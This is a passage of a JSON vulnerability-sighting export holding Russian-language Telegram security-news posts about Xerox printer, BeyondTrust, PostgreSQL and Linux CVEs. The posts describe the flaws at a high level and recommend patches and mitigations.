\u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430\u0445 Xerox VersaLink C7025, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439. \u041e\u0431\u0435 \u0431\u0440\u0435\u0448\u0438 \u0434\u0430\u044e\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043d\u0430 \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0447\u0435\u0440\u0435\u0437 LDAP, SMB \u0438\u043b\u0438 FTP.\n\n\u26a1\ufe0f \u041f\u0435\u0440\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2024-12510) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0432\u0442\u043e\u0440\u0430\u044f (CVE-2024-12511) \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u0439 \u043a\u043d\u0438\u0433\u043e\u0439 \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043f\u0440\u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438. \u0414\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u0438\u043b\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443.\n\n\ud83d\udee1 Xerox \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Service Pack 57.75.53 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0414\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0430\u0442\u0447\u0430 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043b\u043e\u0436\u043d\u044b\u0435 \u043f\u0430\u0440\u043e\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0432\u0435\u0431-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n#Xerox #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #\u043f\u0440\u0438\u043d\u0442\u0435\u0440\u044b\n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:41.998997Z"}, {"uuid": "df1c2056-d16a-4961-9e13-76d3a1196139", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/ZerodayAlert/428", "content": "\u0414\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0432\u0435\u043b\u0438 \u043a \u0432\u0437\u043b\u043e\u043c\u0443 \u041c\u0438\u043d\u0444\u0438\u043d\u0430\n\n\ud83d\udea8 \u041a\u0438\u0442\u0430\u0439\u0441\u043a\u0430\u044f \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Silk Typhoon \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b\u0430 \u041c\u0438\u043d\u0444\u0438\u043d \u0421\u0428\u0410, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0434\u0432\u0435 zero-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2024-12356 \u0438 CVE-2024-12686) \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 BeyondTrust. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0442\u0430\u043a\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 PostgreSQL (CVE-2025-1094), \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u0438\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c.\n\n\ud83c\udfaf \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u043c\u0438 \u0446\u0435\u043b\u044f\u043c\u0438 \u0430\u0442\u0430\u043a\u0438 \u0441\u0442\u0430\u043b\u0438 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u043f\u043e\u0434\u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u041c\u0438\u043d\u0444\u0438\u043d\u0430: \u041a\u043e\u043c\u0438\u0442\u0435\u0442 \u043f\u043e \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0446\u0438\u044f\u043c (CFIUS) \u0438 \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044e \u0437\u0430 \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u0430\u043a\u0442\u0438\u0432\u0430\u043c\u0438 (OFAC). \u0425\u0430\u043a\u0435\u0440\u044b \u043c\u043e\u0433\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0433\u043e\u0442\u043e\u0432\u044f\u0449\u0438\u0445\u0441\u044f \u0441\u0430\u043d\u043a\u0446\u0438\u044f\u0445 \u0438 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u0445.\n\n\u26a1\ufe0f \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b Rapid7 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e \u0434\u0430\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0430\u0442\u0447\u0430 \u043e\u0442 BeyondTrust \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0439 \u0431\u0440\u0435\u0448\u0438 \u0432 PostgreSQL. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0441\u0440\u043e\u0447\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f BT24-10-ONPREM1 \u0438\u043b\u0438 BT24-10-ONPREM2 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0430\u0442\u0430\u043a.\n\n#\u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #Postgres #\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:42.079319Z"}, {"uuid": "0f3c22ae-b761-491d-837a-97bbff960e27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://t.me/ZerodayAlert/428", "content": "\u0414\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0432\u0435\u043b\u0438 \u043a \u0432\u0437\u043b\u043e\u043c\u0443 \u041c\u0438\u043d\u0444\u0438\u043d\u0430\n\n\ud83d\udea8 \u041a\u0438\u0442\u0430\u0439\u0441\u043a\u0430\u044f \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Silk Typhoon \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b\u0430 \u041c\u0438\u043d\u0444\u0438\u043d \u0421\u0428\u0410, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0434\u0432\u0435 zero-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2024-12356 \u0438 CVE-2024-12686) \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 BeyondTrust. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0442\u0430\u043a\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 PostgreSQL (CVE-2025-1094), \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u0438\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c.\n\n\ud83c\udfaf \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u043c\u0438 \u0446\u0435\u043b\u044f\u043c\u0438 \u0430\u0442\u0430\u043a\u0438 \u0441\u0442\u0430\u043b\u0438 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u043f\u043e\u0434\u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u041c\u0438\u043d\u0444\u0438\u043d\u0430: \u041a\u043e\u043c\u0438\u0442\u0435\u0442 \u043f\u043e \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0446\u0438\u044f\u043c (CFIUS) \u0438 \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044e \u0437\u0430 \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u0430\u043a\u0442\u0438\u0432\u0430\u043c\u0438 (OFAC). \u0425\u0430\u043a\u0435\u0440\u044b \u043c\u043e\u0433\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0433\u043e\u0442\u043e\u0432\u044f\u0449\u0438\u0445\u0441\u044f \u0441\u0430\u043d\u043a\u0446\u0438\u044f\u0445 \u0438 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u0445.\n\n\u26a1\ufe0f \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b Rapid7 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e \u0434\u0430\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0430\u0442\u0447\u0430 \u043e\u0442 BeyondTrust \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0439 \u0431\u0440\u0435\u0448\u0438 \u0432 PostgreSQL. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0441\u0440\u043e\u0447\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f BT24-10-ONPREM1 \u0438\u043b\u0438 BT24-10-ONPREM2 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0430\u0442\u0430\u043a.\n\n#\u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #Postgres #\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T01:00:31.827414Z"}, {"uuid": "a0176b3e-07ad-46ef-87fd-a7584c28240b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12905", "type": "seen", "source": "https://t.me/cyberwarehouse/834", "content": "\u041c\u0430\u0439\u0441\u043a\u0438\u0439 Linux Patch Wednesday. \u0412 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u043d\u043e\u0433\u043e - 1091. \u0418\u0437 \u043d\u0438\u0445 716 \u0432 Linux Kernel. \ud83e\udd2f \u0414\u043b\u044f 5 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0435\u0441\u0442\u044c \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432\u0436\u0438\u0432\u0443\u044e:\n\n\ud83d\udd3b RCE - PHP CSS Parser (CVE-2020-13756). \u0412 AttackerKB, \u0435\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442. \n\ud83d\udd3b DoS - Apache ActiveMQ (CVE-2025-27533). \u0412 AttackerKB, \u0435\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442. \n\ud83d\udd3b SFB - Chromium (CVE-2025-4664). \u0412 CISA KEV.\n\ud83d\udd3b PathTrav - buildkit (CVE-2024-23652) \u0438 MemCor - buildkit (CVE-2024-23651). \u0412 \u0411\u0414\u0423 \u0424\u0421\u0422\u042d\u041a.\n\n\u0415\u0449\u0451 \u0434\u043b\u044f 52 (\u2757\ufe0f) \u0435\u0441\u0442\u044c \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430. \u0418\u0437 \u043d\u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u0434\u0435\u043b\u0438\u0442\u044c 2 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u044f \u0443\u0436\u0435 \u043f\u0438\u0441\u0430\u043b \u0440\u0430\u043d\u0435\u0435:\n\n\ud83d\udd38 RCE - Kubernetes \"IngressNightmare\" (CVE-2025-1974 \u0438 4 \u0434\u0440\u0443\u0433\u0438\u0445)\n\ud83d\udd38 RCE - Erlang/OTP (CVE-2025-32433)\n\n\u0422\u0430\u043a\u0436\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u0434\u043b\u044f: \n\n\ud83d\udd38 EoP - Linux Kernel (CVE-2023-53033)\n\ud83d\udd38 XSS - Horde IMP (CVE-2025-30349)\n\ud83d\udd38 PathTrav - tar-fs (CVE-2024-12905)\n\ud83d\udd38 SFB - kitty (CVE-2025-43929) \n\ud83d\udd38 DoS - libxml2 (CVE-2025-32414)\n\n\ud83d\uddd2 \u041f\u043e\u043b\u043d\u044b\u0439 \u043e\u0442\u0447\u0451\u0442 Vulristics\n\n@avleonovrus #LinuxPatchWednesday #Vulristics #Linux #Kubernetes #IngressNightmare #Erlang #ErlangOTP", "creation_timestamp": "2026-07-26T02:00:12.087774Z"}, {"uuid": "14a9f255-a2f4-443f-b7ba-c507b29b34bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/EchelonEyes/3644", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c PostgreSQL \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u043d\u0443\u043b\u0435\u043b\u0432\u044b\u043c \u0434\u043d\u0435\u043c BeyondTrust \u0432 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u044f\u043b\u0438 \u0437\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 BeyondTrust Privileged Remote Access \u0438 Remote Support \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2024 \u0433\u043e\u0434\u0430, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0442\u0430\u043a\u0436\u0435 \u0432\u043e\u043e\u0440\u0443\u0436\u0438\u043b\u0438\u0441\u044c \u0440\u0430\u043d\u0435\u0435 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u043c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0432 PostgreSQL. \u041a \u0442\u0430\u043a\u0438\u043c \u0432\u044b\u0432\u043e\u0434\u0430\u043c \u043f\u0440\u0438\u0448\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Rapid7.\n\n\u041d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2025-1094 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,1), \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 PostgreSQL psql.\n\n\u00ab\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e CVE-2025-1094, \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0442\u0435\u043c \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043c\u0435\u0442\u0430\u043a\u043e\u043c\u0430\u043d\u0434\u044b\u00bb, - \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u043e\u0442\u0447\u0435\u0442\u0435 Rapid7.\n\n\u0412 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0440\u0443\u0433\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u2013 CVE-2024-12356 \u2013 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 BeyondTrust, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e, \u0447\u0442\u043e \u00ab\u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f CVE-2024-12356 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u043b \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e CVE-2025-1094 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0438\u0436\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430\u00bb.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 PostgreSQL \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445: PostgreSQL 17 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 17.3), PostgreSQL 16 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 16.7), PostgreSQL 15 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 15.11), PostgreSQL 14 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 14.16) \u0438 PostgreSQL 13 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 13.19).\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 